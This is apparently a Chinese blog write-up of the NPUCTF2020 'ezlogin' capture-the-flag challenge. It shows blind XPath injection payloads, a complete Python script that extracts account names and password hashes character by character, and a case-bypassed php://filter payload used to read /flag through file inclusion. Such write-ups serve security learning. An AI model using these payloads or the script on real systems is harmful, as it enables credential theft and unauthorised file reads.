[NPUCTF2020]ezlogin

在这里插入图片描述
bp瞅瞅
在这里插入图片描述
发现他提交的与常见的不同
搜索一波,发现是XPATH注入
XPATH注入讲解
把文章给出的payload放上去

'or count(/)=1  or ''=' 

在这里插入图片描述

改成2
在这里插入图片描述
有明显的的布尔回显(注意在重新提交的时候记得刷新下页面)
说明他根下只有一个节点
接下来是盲注了,注意他那里有个token,过期时间比较快,记得用会话保持状态带上。
测试长度
payload

'or string-length(name(/*[1]))=4 or ''='

长度为4
猜测根节点下的名称

'or substring(name(/*[1]), 1, 1)='a'  or ''='

名称为root
猜测子节点的名称

'or substring(name(/root/*[1]), 1, 1)='a'  or ''='

名称为accounts

在这里插入图片描述
account下还有两个节点

'or substring(name(/root/accounts/*[1]), 1, 1)='a'  or ''='

两个节点都为:user,
再跑user下的节点
发现第一个节点为`id

在这里插入图片描述
再跑跑后面的节点看看
username ,password

接着跑用户名和密码了

'or substring(/root/accounts/user/username[1]/text(), 1, 1)='a'  or ''='

用户名
guest,adm1n

还有MD5加密后的密码

放上完整的exp

import requests
import re

s = requests.session()
url ='http://4ab0514f-3518-44ad-9b5f-f8c60fb0ea92.node3.buuoj.cn/login.php'



head ={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:

        r = s.post(url=url)
        token = find.findall(r.text)
        #猜测根节点名称
        payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        #猜测子节点名称
        payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        print(payload_username)
        r = s.post(url=url,headers=head,data=payload_username)
        print(r.text)


        if "非法操作" in r.text:
            flag+=j
            print(flag)
            break

    if "用户名或密码错误!" in r.text:
        break

print(flag)

拿admin去登录

在这里插入图片描述
注意他的url,试试文件包含
在这里插入图片描述
有过滤
查看源代码还有个提示
在这里插入图片描述
在这里插入图片描述
然后就是绕过他的过滤了
不会饶,看了wp
其实他还过滤了read
接着就是大小绕过
phP://filter/convert.bAse64-encode/resource=/flag

在这里插入图片描述
读取到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值